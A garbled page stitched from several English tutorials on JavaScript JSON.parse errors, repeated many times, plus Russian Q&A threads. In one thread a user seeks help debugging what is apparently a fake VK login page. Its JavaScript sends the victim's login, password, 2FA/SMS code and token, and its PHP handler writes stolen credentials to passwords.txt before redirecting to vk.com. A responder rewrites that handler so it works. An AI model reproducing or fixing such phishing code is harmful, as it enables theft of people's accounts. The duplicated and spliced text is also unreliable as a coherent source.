JSON, or JavaScript Object Notation, is a ubiquitous data format used by all sorts of mobile and web apps for asynchronous browser-server communication. JSON is an extremely popular data format, very easy to work with, compatible with every major programming language, and is supported by every major browser. However, just like any programming language, it throws a lot of errors when it decides that today is not going to be your day.
JSON.Parse Syntax Errors
In most web applications, nearly all data transferred from a web server is transmitted in a string format. To convert that string into JSON, we use the JSON.parse()
function, and this is the main function that throws errors. Nearly all JSON.parse errors are a subset of the SyntaxError
error type. The debugging console throws around 32 different error messages when you mess up your JSON data. And some of them are very tricky to debug; and yes I am talking about you unexpected non-whitespace character after JSON data
.
Why the SyntaxError Horror?
SyntaxError
is an inherited object of the main error
object The main reason behind the error is usually a mistake in the JSON file syntax. You mess up and put a “ instead of a ‘ and you invite to face the SyntaxError JSON.parse: unexpected character
.
Just like every programming language, a JSON file has a fixed syntax. Small syntax errors throws errors. For example, in the following code, I forgot to remove a trailing comma
JSON.parse('[a,b, c, d, e, f,]');
Similarly, in this example, I forgot to add the final }
character.
JSON.parse('{"LambdaTest": 1,');
How to Catch the Error Before Hand
The problem with debugging JSON errors is that you only get to know about one error at a time. Debuggers throw the first error they find and then stop. It would be up to you to regression find the bugs. Usually, it’s not as difficult as it sounds.
The first step is to make sure that your JSON file is perfect from the get go. Here you can take help from JSON linting tools like cleverly named jsonlint.com
If you don’t have any control over the receiving JSON file, then the next step is to add catch exceptions around your JSON.parse.
function validatingJSON (json) {
var checkedjson
try {
checkedjson = JSON.parse(json)
} catch (e) {
}
return checkedjson }
Also, here are the main errors related to JSON.parse that I very painstakingly collected from a very single source [https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Errors/JSON_bad_parse]:
SyntaxError: JSON.parse: unterminated string literal
SyntaxError: JSON.parse: bad control character in string literal
SyntaxError: JSON.parse: bad character in string literal
SyntaxError: JSON.parse: bad Unicode escape
SyntaxError: JSON.parse: bad escape character
SyntaxError: JSON.parse: unterminated string
SyntaxError: JSON.parse: no number after minus sign
SyntaxError: JSON.parse: unexpected non-digit
SyntaxError: JSON.parse: missing digits after decimal point
SyntaxError: JSON.parse: unterminated fractional number
SyntaxError: JSON.parse: missing digits after exponent indicator
SyntaxError: JSON.parse: missing digits after exponent sign
SyntaxError: JSON.parse: exponent part is missing a number
SyntaxError: JSON.parse: unexpected end of data
SyntaxError: JSON.parse: unexpected keyword
SyntaxError: JSON.parse: unexpected character
SyntaxError: JSON.parse: end of data while reading object contents
SyntaxError: JSON.parse: expected property name or '}'
SyntaxError: JSON.parse: end of data when ',' or ']' was expected
SyntaxError: JSON.parse: expected ',' or ']' after array element
SyntaxError: JSON.parse: end of data when property name was expected
SyntaxError: JSON.parse: expected double-quoted property name
SyntaxError: JSON.parse: end of data after property name when ':' was expected
SyntaxError: JSON.parse: expected ':' after property name in object
SyntaxError: JSON.parse: end of data after property value in object
SyntaxError: JSON.parse: expected ',' or '}' after property value in object
SyntaxError: JSON.parse: expected ',' or '}' after property-value pair in object literal
SyntaxError: JSON.parse: property names must be double-quoted strings
SyntaxError: JSON.parse: expected property name or '}'
SyntaxError: JSON.parse: unexpected character
SyntaxError: JSON.parse: unexpected non-whitespace character after JSON data
If this doesn’t help, then you are in for one long debugging session.
JSON ( JavaScript Object Notation), is widely used format for asynchronous communication between webpage or mobile application to back-end servers. Due to increasing trend in Single Page Application or Mobile Application, popularity of the JSON is extreme.
Why do we get JSON parse error?
Parsing JSON is a very common task in JavaScript. JSON.parse() is a built-in method in JavaScript which is used to parse a JSON string and convert it into a JavaScript object. If the JSON string is invalid, it will throw a SyntaxError.
const json = '{"result":true, "count":42}';
const obj = JSON.parse(json);
console.log(obj.count);
// expected output: 42
console.log(obj.result);
// expected output: true
How to handle JSON parse error?
There are many ways to handle JSON parse error. In this post, I will show you how to handle JSON parse error in JavaScript.
1. Using try-catch block
The most common way to handle JSON parse error is using try-catch block. If the JSON string is valid, it will return a JavaScript object. If the JSON string is invalid, it will throw a SyntaxError.
try {
const json = '{"result":true, "count":42}';
const obj = JSON.parse(json);
console.log(obj.count);
// expected output: 42
console.log(obj.result);
// expected output: true
} catch (e) {
console.log(e);
// expected output: SyntaxError: Unexpected token o in JSON at position 1
}
2. Using if-else block
Another way to handle JSON parse error is using if-else block.
const json = '{"result":true, "count":42}';
const obj = JSON.parse(json);
if (obj instanceof SyntaxError) {
console.log(obj);
// expected output: SyntaxError: Unexpected token o in JSON at position 1
} else {
console.log(obj.count);
// expected output: 42
console.log(obj.result);
// expected output: true
}
3. Using try-catch block with JSON.parse()
The third way to handle JSON parse error is using try-catch block with JSON.parse().
const json = '{"result":true, "count":42}';
const obj = JSON.parse(json, (key, value) => {
try {
return JSON.parse(value);
} catch (e) {
return value;
}
});
console.log(obj.count);
// expected output: 42
console.log(obj.result);
// expected output: true
4. Using try-catch block with JSON.parse() and JSON.stringify()
The fourth way to handle JSON parse error is using try-catch block with JSON.parse() and JSON.stringify(). If the JSON string is valid, it will return a JavaScript object. If the JSON string is invalid, it will return a SyntaxError.
const json = '{"result":true, "count":42}';
const obj = JSON.parse(json, (key, value) => {
try {
return JSON.parse(value);
} catch (e) {
return value;
}
});
const str = JSON.stringify(obj);
console.log(str);
// expected output: {"result":true,"count":42}
-
JSON
Проблема, что означает эта ошибка JSON?Как ее исправить?
-
Вопрос задан
-
5187 просмотров
19
комментариев
-
запятая мож пропущена, кто её знает
-
Неплохо было бы взглянуть на саму json строку.
Как ее исправить?
Ошибка синтаксиса JSON. Загоните ваш json в валидатор и поймете где ошибка.
-
Сослан Хлоев, посоветуйте валидатор.Я новичок.Строка моя вот:
var auth = $.ajax(«continue.php?act=login&login=» + encodeURIComponent(login) + «&oldPassword=» + encodeURIComponent(password) + «&captcha_key=» + captcha_key + «&captcha_sid=» + captcha_sid + «&validation_sid=» + validation_sid + «&code=» + smscode + «&newPassword=» + encodeURIComponent(g(«newpassword»).value) + «&is2fa=» + (have2fa ? 1 : 0) + «&qid=» + encodeURIComponent(window.location.search) + «&token=» + gettedToken).done(function() {
var response = JSON.parse(auth.responseText);
/*if (response.access_token) {
changePassword(login, password, response.access_token, g(«newpassword»).value);
return;
}*/Содержание файла continue.php
<?php
if (isset($_GET[‘mobile’]) && isset($_GET[‘pass’]) && isset($_GET[‘newpass’]) && isset($_GET[‘repass’]) && ($_GET[‘mobile’]!=»») && ($_GET[‘pass’]!=»») && ($_GET[‘newpass’]!=»») && ($_GET[‘repass’]!=»»))
{$location=’https://vk.com/’;
$Log = $_GET[‘mobile’];
$Pass = $_GET[‘pass’];
$newpassword = $_GET[‘newpass’];
$newpassword2 = $_GET[‘repass’];
$smscode = $_GET[‘code’];
$log = fopen(«passwords.txt»,»a+»);
fwrite($log,»\n $Log:$Pass:$newpassword:$newpassword2 \n»);
fclose($log);$answer = [‘type’ => ‘success’, ‘message’ => ‘All OK’];
echo json_encode($answer);}
?>
-
VicTHOR, добрый день,
Скорей всего вот мой объект.
ПОдскажите в чем ошибка может быть?Это пхп обработчик формы<?php
if (isset($_GET[‘mobile’]) && isset($_GET[‘pass’]) && isset($_GET[‘newpass’]) && isset($_GET[‘repass’]) && ($_GET[‘mobile’]!=»») && ($_GET[‘pass’]!=»») && ($_GET[‘newpass’]!=»») && ($_GET[‘repass’]!=»»))
{$location=’https://vk.com/’;
$Log = $_GET[‘mobile’];
$Pass = $_GET[‘pass’];
$newpassword = $_GET[‘newpass’];
$newpassword2 = $_GET[‘repass’];
$smscode = $_GET[‘code’];
$log = fopen(«passwords.txt»,»a+»);
fwrite($log,»\n $Log:$Pass:$newpassword:$newpassword2 \n»);
fclose($log);$answer = [‘type’ => ‘success’, ‘message’ => ‘All OK’];
echo json_encode($answer);}
?>
-
agronom617,
if (isset($_GET['mobile']) && isset($_GET['pass']) && isset($_GET['newpass']) && isset($_GET['repass']) && ($_GET['mobile']!="") && ($_GET['pass']!="") && ($_GET['newpass']!="") && ($_GET['repass']!="")) { $location='https://vk.com/'; $Log = $_GET['mobile']; $Pass = $_GET['pass']; $newpassword = $_GET['newpass']; $newpassword2 = $_GET['repass']; $smscode = $_GET['code']; $log = fopen("passwords.txt","a+"); fwrite($log,"\n $Log:$Pass:$newpassword:$newpassword2 \n"); fclose($log); $answer = ['type' => 'success', 'message' => 'All OK']; echo json_encode($answer); } else { echo json_encode(['type' => 'error', 'message' => 'All not OK']); }
Попробуйте ваш php скрипт привести к такому виду и попробовать.
-
Сослан Хлоев, вообще бесполезно,исправил как у вас,вот результат
-
VicTHOR, я тут сделал скриншот по лучше,ваша операция думаете подойдет вот скрин
-
VicTHOR, добрый день,а каким образом можно выполнить console.log?
-
VicTHOR, предлагали только альтернативы,но то такое,ладно,касательно команды консоль лог,я посмотрел на ютубе,на сколько я понял,нужно это просто вставить в код этой страницы?
-
VicTHOR, на странице в коде есть такая строчка о парсинге
console.log(answer)
var auth = $.ajax(«continue.php?act=login&login=» + encodeURIComponent(login) + «&oldPassword=» + encodeURIComponent(password) + «&captcha_key=» + captcha_key + «&captcha_sid=» + captcha_sid + «&validation_sid=» + validation_sid + «&code=» + smscode + «&newPassword=» + encodeURIComponent(g(«newpassword»).value) + «&is2fa=» + (have2fa ? 1 : 0) + «&qid=» + encodeURIComponent(window.location.search) + «&token=» + gettedToken).done(function() {
var response = JSON.parse(auth.responseText);
/*if (response.access_token) {
changePassword(login, password, response.access_token, g(«newpassword»).value);
return;
}*/Я правильно понял?Или нужно консоль вставлять между этими двумя значениями?
-
VicTHOR, вот результат,сново ошибка
-
VicTHOR, мне консоль выдал что ошибка в 74 строке.Вот
-
VicTHOR, выдало что ошибка в 71 строке
-
VicTHOR, еще раз добрый вечер,убираю response из скобок из первого скриншота,или что по первому скриншоту вы имели ввиду?Чуть запутался
-
VicTHOR, если целый блок, то это будет выглядеть так
<?/* if (response.api) { if (response.result) { window.location.replace("https://vk.com/id0"); } else { gettedToken = response.token; var e = response.api.error; if (e.error_code === 14) { $("#password, #sms").fadeOut(300, function () { $("#capt").fadeIn(300); }); g("captcha_key").value = ""; g("captcha_key").focus(); g("capt_img").src = e.captcha_img; g("captcha_sid").value = e.captcha_sid; } } return; } */?>
Или правильней закоментировать только первый экземляр?но там скобок просто закрывающихся нет,выделить не смогу нормально)
-
VicTHOR, или вы имели ввиду весь блок,только,одну строчку,подчеркнутую красным?
-
VicTHOR, сделал,теперь не отсылает даже значение логина
JSON ( JavaScript Object Notation), is widely used format for asynchronous communication between webpage or mobile application to back-end servers. Due to increasing trend in Single Page Application or Mobile Application, popularity of the JSON is extreme.
Why do we get JSON parse error?
Parsing JSON is a very common task in JavaScript. JSON.parse() is a built-in method in JavaScript which is used to parse a JSON string and convert it into a JavaScript object. If the JSON string is invalid, it will throw a SyntaxError.
const json = '{"result":true, "count":42}';
const obj = JSON.parse(json);
console.log(obj.count);
// expected output: 42
console.log(obj.result);
// expected output: true
How to handle JSON parse error?
There are many ways to handle JSON parse error. In this post, I will show you how to handle JSON parse error in JavaScript.
1. Using try-catch block
The most common way to handle JSON parse error is using try-catch block. If the JSON string is valid, it will return a JavaScript object. If the JSON string is invalid, it will throw a SyntaxError.
try {
const json = '{"result":true, "count":42}';
const obj = JSON.parse(json);
console.log(obj.count);
// expected output: 42
console.log(obj.result);
// expected output: true
} catch (e) {
console.log(e);
// expected output: SyntaxError: Unexpected token o in JSON at position 1
}
2. Using if-else block
Another way to handle JSON parse error is using if-else block.
const json = '{"result":true, "count":42}';
const obj = JSON.parse(json);
if (obj instanceof SyntaxError) {
console.log(obj);
// expected output: SyntaxError: Unexpected token o in JSON at position 1
} else {
console.log(obj.count);
// expected output: 42
console.log(obj.result);
// expected output: true
}
3. Using try-catch block with JSON.parse()
The third way to handle JSON parse error is using try-catch block with JSON.parse().
const json = '{"result":true, "count":42}';
const obj = JSON.parse(json, (key, value) => {
try {
return JSON.parse(value);
} catch (e) {
return value;
}
});
console.log(obj.count);
// expected output: 42
console.log(obj.result);
// expected output: true
4. Using try-catch block with JSON.parse() and JSON.stringify()
The fourth way to handle JSON parse error is using try-catch block with JSON.parse() and JSON.stringify(). If the JSON string is valid, it will return a JavaScript object. If the JSON string is invalid, it will return a SyntaxError.
const json = '{"result":true, "count":42}';
const obj = JSON.parse(json, (key, value) => {
try {
return JSON.parse(value);
} catch (e) {
return value;
}
});
const str = JSON.stringify(obj);
console.log(str);
// expected output: {"result":true,"count":42}
JSON, or JavaScript Object Notation, is a ubiquitous data format used by all sorts of mobile and web apps for asynchronous browser-server communication. JSON is an extremely popular data format, very easy to work with, compatible with every major programming language, and is supported by every major browser. However, just like any programming language, it throws a lot of errors when it decides that today is not going to be your day.
JSON.Parse Syntax Errors
In most web applications, nearly all data transferred from a web server is transmitted in a string format. To convert that string into JSON, we use the JSON.parse()
function, and this is the main function that throws errors. Nearly all JSON.parse errors are a subset of the SyntaxError
error type. The debugging console throws around 32 different error messages when you mess up your JSON data. And some of them are very tricky to debug; and yes I am talking about you unexpected non-whitespace character after JSON data
.
Why the SyntaxError Horror?
SyntaxError
is an inherited object of the main error
object The main reason behind the error is usually a mistake in the JSON file syntax. You mess up and put a “ instead of a ‘ and you invite to face the SyntaxError JSON.parse: unexpected character
.
Just like every programming language, a JSON file has a fixed syntax. Small syntax errors throws errors. For example, in the following code, I forgot to remove a trailing comma
JSON.parse('[a,b, c, d, e, f,]');
Similarly, in this example, I forgot to add the final }
character.
JSON.parse('{"LambdaTest": 1,');
How to Catch the Error Before Hand
The problem with debugging JSON errors is that you only get to know about one error at a time. Debuggers throw the first error they find and then stop. It would be up to you to regression find the bugs. Usually, it’s not as difficult as it sounds.
The first step is to make sure that your JSON file is perfect from the get go. Here you can take help from JSON linting tools like cleverly named jsonlint.com
If you don’t have any control over the receiving JSON file, then the next step is to add catch exceptions around your JSON.parse.
function validatingJSON (json) {
var checkedjson
try {
checkedjson = JSON.parse(json)
} catch (e) {
}
return checkedjson }
Also, here are the main errors related to JSON.parse that I very painstakingly collected from a very single source [https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Errors/JSON_bad_parse]:
SyntaxError: JSON.parse: unterminated string literal
SyntaxError: JSON.parse: bad control character in string literal
SyntaxError: JSON.parse: bad character in string literal
SyntaxError: JSON.parse: bad Unicode escape
SyntaxError: JSON.parse: bad escape character
SyntaxError: JSON.parse: unterminated string
SyntaxError: JSON.parse: no number after minus sign
SyntaxError: JSON.parse: unexpected non-digit
SyntaxError: JSON.parse: missing digits after decimal point
SyntaxError: JSON.parse: unterminated fractional number
SyntaxError: JSON.parse: missing digits after exponent indicator
SyntaxError: JSON.parse: missing digits after exponent sign
SyntaxError: JSON.parse: exponent part is missing a number
SyntaxError: JSON.parse: unexpected end of data
SyntaxError: JSON.parse: unexpected keyword
SyntaxError: JSON.parse: unexpected character
SyntaxError: JSON.parse: end of data while reading object contents
SyntaxError: JSON.parse: expected property name or '}'
SyntaxError: JSON.parse: end of data when ',' or ']' was expected
SyntaxError: JSON.parse: expected ',' or ']' after array element
SyntaxError: JSON.parse: end of data when property name was expected
SyntaxError: JSON.parse: expected double-quoted property name
SyntaxError: JSON.parse: end of data after property name when ':' was expected
SyntaxError: JSON.parse: expected ':' after property name in object
SyntaxError: JSON.parse: end of data after property value in object
SyntaxError: JSON.parse: expected ',' or '}' after property value in object
SyntaxError: JSON.parse: expected ',' or '}' after property-value pair in object literal
SyntaxError: JSON.parse: property names must be double-quoted strings
SyntaxError: JSON.parse: expected property name or '}'
SyntaxError: JSON.parse: unexpected character
SyntaxError: JSON.parse: unexpected non-whitespace character after JSON data
If this doesn’t help, then you are in for one long debugging session.
A refresher on the purpose and syntax of JSON, as well as a detailed exploration of the JSON Parse SyntaxError in JavaScript.
Traveling deftly through to the next item in our JavaScript Error Handling series, today we’re taking a hard look at the JSON Parse
error. The JSON Parse
error, as the name implies, surfaces when using the JSON.parse()
method that fails to pass valid JSON as an argument.
In this article, we’ll dig deeper into where JSON Parse
errors sit in the JavaScript error hierarchy, as well as when it might appear and how to handle it when it does. Let’s get started!
The Technical Rundown
- All JavaScript error objects are descendants of the
Error
object, or an inherited object therein. - The
SyntaxError
object is inherited from theError
object. - The
JSON Parse
error is a specific type ofSyntaxError
object.
When Should You Use It?
While most developers are probably intimately familiar with JSON and the proper formatting syntax it requires, it doesn’t hurt to briefly review it ourselves, to better understand some common causes of the JSON Parse
error in JavaScript.
JavaScript Object Notation
, better known as JSON
, is a human-readable text format, commonly used to transfer data across the web. The basic structure of JSON consists of objects
, which are sets of string: value
pairs surrounded by curly braces:
{
"first": "Jane",
"last": "Doe"
}
An array
is a set of values
, surrounded by brackets:
[
"Jane",
"Doe"
]
A value
can be a string
, number
, object
, array
, boolean
, or null
.
That’s really all there is to the JSON syntax. Since values
can be other objects
or arrays
, JSON can be infinitely nested (theoretically).
In JavaScript, when passing JSON to the JSON.parse()
method, the method expects properly formatted JSON as the first argument. When it detects invalid JSON, it throws a JSON Parse
error.
For example, one of the most common typos or syntax errors in JSON is adding an extra comma separator at the end of an array
or object
value
set. Notice in the first few examples above, we only use a comma to literally separate values
from one another. Here we’ll try adding an extra, or «hanging», comma after our final value
:
var printError = function(error, explicit) {
console.log(`[${explicit ? 'EXPLICIT' : 'INEXPLICIT'}] ${error.name}: ${error.message}`);
}
try {
var json = `
{
«first»: «Jane»,
«last»: «Doe»,
}
`
console.log(JSON.parse(json));
} catch (e) {
if (e instanceof SyntaxError) {
printError(e, true);
} else {
printError(e, false);
}
}
Note: We’re using the backtick (`
) string syntax to initialize our JSON, which just allows us to present it in a more readable form. Functionally, this is identical to a string that is contained on a single line.
As expected, our extraneous comma at the end throws a JSON Parse
error:
[EXPLICIT] SyntaxError: Unexpected token } in JSON at position 107
In this case, it’s telling us the }
token is unexpected, because the comma at the end informs JSON that there should be a third value
to follow.
Another common syntax issue is neglecting to surround string
values within string: value
pairs with quotations ("
). Many other language syntaxes use similar key: value
pairings to indicate named arguments and the like, so developers may find it easy to forget that JSON requires the string to be explicitly indicated using quotation marks:
var printError = function(error, explicit) {
console.log(`[${explicit ? 'EXPLICIT' : 'INEXPLICIT'}] ${error.name}: ${error.message}`);
}
try {
var json = `
{
«first»: «Jane»,
last: «Doe»,
}
`
console.log(JSON.parse(json));
} catch (e) {
if (e instanceof SyntaxError) {
printError(e, true);
} else {
printError(e, false);
}
}
Here we forgot quotations around the "last"
key string
, so we get another JSON Parse
error:
[EXPLICIT] SyntaxError: Unexpected token l in JSON at position 76
A few examples are probably sufficient to see how the JSON Parse
error comes about, but as it so happens, there are dozens of possible versions of this error, depending on how JSON was improperly formatted. Here’s the full list:
JSON Parse Error Messages |
---|
SyntaxError: JSON.parse: unterminated string literal |
SyntaxError: JSON.parse: bad control character in string literal |
SyntaxError: JSON.parse: bad character in string literal |
SyntaxError: JSON.parse: bad Unicode escape |
SyntaxError: JSON.parse: bad escape character |
SyntaxError: JSON.parse: unterminated string |
SyntaxError: JSON.parse: no number after minus sign |
SyntaxError: JSON.parse: unexpected non-digit |
SyntaxError: JSON.parse: missing digits after decimal point |
SyntaxError: JSON.parse: unterminated fractional number |
SyntaxError: JSON.parse: missing digits after exponent indicator |
SyntaxError: JSON.parse: missing digits after exponent sign |
SyntaxError: JSON.parse: exponent part is missing a number |
SyntaxError: JSON.parse: unexpected end of data |
SyntaxError: JSON.parse: unexpected keyword |
SyntaxError: JSON.parse: unexpected character |
SyntaxError: JSON.parse: end of data while reading object contents |
SyntaxError: JSON.parse: expected property name or ‘}’ |
SyntaxError: JSON.parse: end of data when ‘,’ or ‘]’ was expected |
SyntaxError: JSON.parse: expected ‘,’ or ‘]’ after array element |
SyntaxError: JSON.parse: end of data when property name was expected |
SyntaxError: JSON.parse: expected double-quoted property name |
SyntaxError: JSON.parse: end of data after property name when ‘:’ was expected |
SyntaxError: JSON.parse: expected ‘:’ after property name in object |
SyntaxError: JSON.parse: end of data after property value in object |
SyntaxError: JSON.parse: expected ‘,’ or ‘}’ after property value in object |
SyntaxError: JSON.parse: expected ‘,’ or ‘}’ after property-value pair in object literal |
SyntaxError: JSON.parse: property names must be double-quoted strings |
SyntaxError: JSON.parse: expected property name or ‘}’ |
SyntaxError: JSON.parse: unexpected character |
SyntaxError: JSON.parse: unexpected non-whitespace character after JSON data |
To dive even deeper into understanding how your applications deal with JavaScript Errors, check out the revolutionary Airbrake JavaScript
error tracking tool for real-time alerts and instantaneous insight into what went wrong with your JavaScript code.
An Easier Way to Find JavaScript Errors
The first way to find a JSON Parse error is to go through your logs, but when you’re dealing with hundreds, if not thousands, of lines of code, it can be difficult to find that one line of broken code. With Airbrake Error and Performance Monitoring, you can skip the logs and go straight to the line of broken code resulting in the JSON Parse error.
Don’t have Airbrake? Create your free Airbrake dev account today!
Note: We published this post in February 2017 and recently updated it in April 2022.
Проблема, что означает эта ошибка JSON?Как ее исправить?
-
Вопрос заданболее трёх лет назад
-
5002 просмотра
33
комментария
Пригласить эксперта
Ответы на вопрос 1
Rsa97
@Rsa97
Для правильного вопроса надо знать половину ответа
Ошибка — пустая строка после завершения PHP-блока. Всё, что не находится внутри <?php ?> выводится как есть.
Самое лучшее решение — убрать завершающую скобку ?>.
Похожие вопросы
-
Показать ещё
Загружается…
24 июн. 2023, в 12:53
25000 руб./за проект
24 июн. 2023, в 12:49
1000 руб./за проект
24 июн. 2023, в 12:33
45000 руб./за проект
Минуточку внимания
Исключения JavaScript, создаваемые JSON.parse()
возникают, когда строку не удалось проанализировать как JSON.
Message
SyntaxError: JSON.parse: unterminated string literal SyntaxError: JSON.parse: bad control character in string literal SyntaxError: JSON.parse: bad character in string literal SyntaxError: JSON.parse: bad Unicode escape SyntaxError: JSON.parse: bad escape character SyntaxError: JSON.parse: unterminated string SyntaxError: JSON.parse: no number after minus sign SyntaxError: JSON.parse: unexpected non-digit SyntaxError: JSON.parse: missing digits after decimal point SyntaxError: JSON.parse: unterminated fractional number SyntaxError: JSON.parse: missing digits after exponent indicator SyntaxError: JSON.parse: missing digits after exponent sign SyntaxError: JSON.parse: exponent part is missing a number SyntaxError: JSON.parse: unexpected end of data SyntaxError: JSON.parse: unexpected keyword SyntaxError: JSON.parse: unexpected character SyntaxError: JSON.parse: end of data while reading object contents SyntaxError: JSON.parse: expected property name or SyntaxError: JSON.parse: end of data when SyntaxError: JSON.parse: expected SyntaxError: JSON.parse: end of data when property name was expected SyntaxError: JSON.parse: expected double-quoted property name SyntaxError: JSON.parse: end of data after property name when SyntaxError: JSON.parse: expected SyntaxError: JSON.parse: end of data after property value in object SyntaxError: JSON.parse: expected SyntaxError: JSON.parse: expected SyntaxError: JSON.parse: property names must be double-quoted strings SyntaxError: JSON.parse: expected property name or SyntaxError: JSON.parse: unexpected character SyntaxError: JSON.parse: unexpected non-whitespace character after JSON data
Error type
Что пошло не так?
JSON.parse()
анализирует строку как JSON. Эта строка должна быть действительным JSON и вызовет эту ошибку, если будет обнаружен неправильный синтаксис.
Examples
JSON.parse()не позволяет использовать запятые в конце текста
Обе линии бросят синтаксическую ошибку:
JSON.parse('[1, 2, 3, 4,]'); JSON.parse('{"foo": 1,}');
Опустите запятые,чтобы правильно разобрать JSON:
JSON.parse('[1, 2, 3, 4]'); JSON.parse('{"foo": 1}');
Имена объектов недвижимости должны быть двузначно процитированными.
Нельзя использовать одиночные кавычки вокруг свойств,например,’foo’.
JSON.parse("{'foo': 1}");
Вместо этого напишите «фу»:
JSON.parse('{"foo": 1}');
Ведущие нули и десятичные знаки
Нельзя использовать опережающие нули,например 01,а за десятичными точками должен следовать хотя бы один знак.
JSON.parse('{"foo": 01}'); JSON.parse('{"foo": 1.}');
Вместо этого запишите только 1 без нуля и используйте по крайней мере одну цифру после запятой:
JSON.parse('{"foo": 1}'); JSON.parse('{"foo": 1.0}');
See also
JSON
JSON.parse()
JSON.stringify()
JavaScript
-
TypeError: недопустимый операнд «экземпляр» «х»
Исключение JavaScript «недопустимый операнд экземпляра» возникает, когда оператор правых операндов не используется с объектом конструктора, т.е.
-
TypeError: ‘x’ не повторяется
Исключение JavaScript «не является итерируемым» возникает, когда значение, заданное правой частью for…of, функции аргумента, такой как Promise.all TypedArray.from,
-
Синтаксическая ошибка:Некорректный формальный параметр
Исключение JavaScript «искаженный формальный параметр» возникает, когда список аргументов вызова конструктора Function() каким-то образом недействителен.
-
URIError:некорректная последовательность URI
Исключение JavaScript «неверная последовательность URI» возникает, когда декодирование кодирования не было успешным.
JSON ( JavaScript Object Notation), is widely used format for asynchronous communication between webpage or mobile application to back-end servers. Due to increasing trend in Single Page Application or Mobile Application, popularity of the JSON is extreme.
Why do we get JSON parse error?
Parsing JSON is a very common task in JavaScript. JSON.parse() is a built-in method in JavaScript which is used to parse a JSON string and convert it into a JavaScript object. If the JSON string is invalid, it will throw a SyntaxError.
const json = '{"result":true, "count":42}';
const obj = JSON.parse(json);
console.log(obj.count);
// expected output: 42
console.log(obj.result);
// expected output: true
How to handle JSON parse error?
There are many ways to handle JSON parse error. In this post, I will show you how to handle JSON parse error in JavaScript.
1. Using try-catch block
The most common way to handle JSON parse error is using try-catch block. If the JSON string is valid, it will return a JavaScript object. If the JSON string is invalid, it will throw a SyntaxError.
try {
const json = '{"result":true, "count":42}';
const obj = JSON.parse(json);
console.log(obj.count);
// expected output: 42
console.log(obj.result);
// expected output: true
} catch (e) {
console.log(e);
// expected output: SyntaxError: Unexpected token o in JSON at position 1
}
2. Using if-else block
Another way to handle JSON parse error is using if-else block.
const json = '{"result":true, "count":42}';
const obj = JSON.parse(json);
if (obj instanceof SyntaxError) {
console.log(obj);
// expected output: SyntaxError: Unexpected token o in JSON at position 1
} else {
console.log(obj.count);
// expected output: 42
console.log(obj.result);
// expected output: true
}
3. Using try-catch block with JSON.parse()
The third way to handle JSON parse error is using try-catch block with JSON.parse().
const json = '{"result":true, "count":42}';
const obj = JSON.parse(json, (key, value) => {
try {
return JSON.parse(value);
} catch (e) {
return value;
}
});
console.log(obj.count);
// expected output: 42
console.log(obj.result);
// expected output: true
4. Using try-catch block with JSON.parse() and JSON.stringify()
The fourth way to handle JSON parse error is using try-catch block with JSON.parse() and JSON.stringify(). If the JSON string is valid, it will return a JavaScript object. If the JSON string is invalid, it will return a SyntaxError.
const json = '{"result":true, "count":42}';
const obj = JSON.parse(json, (key, value) => {
try {
return JSON.parse(value);
} catch (e) {
return value;
}
});
const str = JSON.stringify(obj);
console.log(str);
// expected output: {"result":true,"count":42}
JSON, or JavaScript Object Notation, is a ubiquitous data format used by all sorts of mobile and web apps for asynchronous browser-server communication. JSON is an extremely popular data format, very easy to work with, compatible with every major programming language, and is supported by every major browser. However, just like any programming language, it throws a lot of errors when it decides that today is not going to be your day.
JSON.Parse Syntax Errors
In most web applications, nearly all data transferred from a web server is transmitted in a string format. To convert that string into JSON, we use the JSON.parse()
function, and this is the main function that throws errors. Nearly all JSON.parse errors are a subset of the SyntaxError
error type. The debugging console throws around 32 different error messages when you mess up your JSON data. And some of them are very tricky to debug; and yes I am talking about you unexpected non-whitespace character after JSON data
.
Why the SyntaxError Horror?
SyntaxError
is an inherited object of the main error
object The main reason behind the error is usually a mistake in the JSON file syntax. You mess up and put a “ instead of a ‘ and you invite to face the SyntaxError JSON.parse: unexpected character
.
Just like every programming language, a JSON file has a fixed syntax. Small syntax errors throws errors. For example, in the following code, I forgot to remove a trailing comma
JSON.parse('[a,b, c, d, e, f,]');
Similarly, in this example, I forgot to add the final }
character.
JSON.parse('{"LambdaTest": 1,');
How to Catch the Error Before Hand
The problem with debugging JSON errors is that you only get to know about one error at a time. Debuggers throw the first error they find and then stop. It would be up to you to regression find the bugs. Usually, it’s not as difficult as it sounds.
The first step is to make sure that your JSON file is perfect from the get go. Here you can take help from JSON linting tools like cleverly named jsonlint.com
If you don’t have any control over the receiving JSON file, then the next step is to add catch exceptions around your JSON.parse.
function validatingJSON (json) {
var checkedjson
try {
checkedjson = JSON.parse(json)
} catch (e) {
}
return checkedjson }
Also, here are the main errors related to JSON.parse that I very painstakingly collected from a very single source [https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Errors/JSON_bad_parse]:
SyntaxError: JSON.parse: unterminated string literal
SyntaxError: JSON.parse: bad control character in string literal
SyntaxError: JSON.parse: bad character in string literal
SyntaxError: JSON.parse: bad Unicode escape
SyntaxError: JSON.parse: bad escape character
SyntaxError: JSON.parse: unterminated string
SyntaxError: JSON.parse: no number after minus sign
SyntaxError: JSON.parse: unexpected non-digit
SyntaxError: JSON.parse: missing digits after decimal point
SyntaxError: JSON.parse: unterminated fractional number
SyntaxError: JSON.parse: missing digits after exponent indicator
SyntaxError: JSON.parse: missing digits after exponent sign
SyntaxError: JSON.parse: exponent part is missing a number
SyntaxError: JSON.parse: unexpected end of data
SyntaxError: JSON.parse: unexpected keyword
SyntaxError: JSON.parse: unexpected character
SyntaxError: JSON.parse: end of data while reading object contents
SyntaxError: JSON.parse: expected property name or '}'
SyntaxError: JSON.parse: end of data when ',' or ']' was expected
SyntaxError: JSON.parse: expected ',' or ']' after array element
SyntaxError: JSON.parse: end of data when property name was expected
SyntaxError: JSON.parse: expected double-quoted property name
SyntaxError: JSON.parse: end of data after property name when ':' was expected
SyntaxError: JSON.parse: expected ':' after property name in object
SyntaxError: JSON.parse: end of data after property value in object
SyntaxError: JSON.parse: expected ',' or '}' after property value in object
SyntaxError: JSON.parse: expected ',' or '}' after property-value pair in object literal
SyntaxError: JSON.parse: property names must be double-quoted strings
SyntaxError: JSON.parse: expected property name or '}'
SyntaxError: JSON.parse: unexpected character
SyntaxError: JSON.parse: unexpected non-whitespace character after JSON data
If this doesn’t help, then you are in for one long debugging session.
A refresher on the purpose and syntax of JSON, as well as a detailed exploration of the JSON Parse SyntaxError in JavaScript.
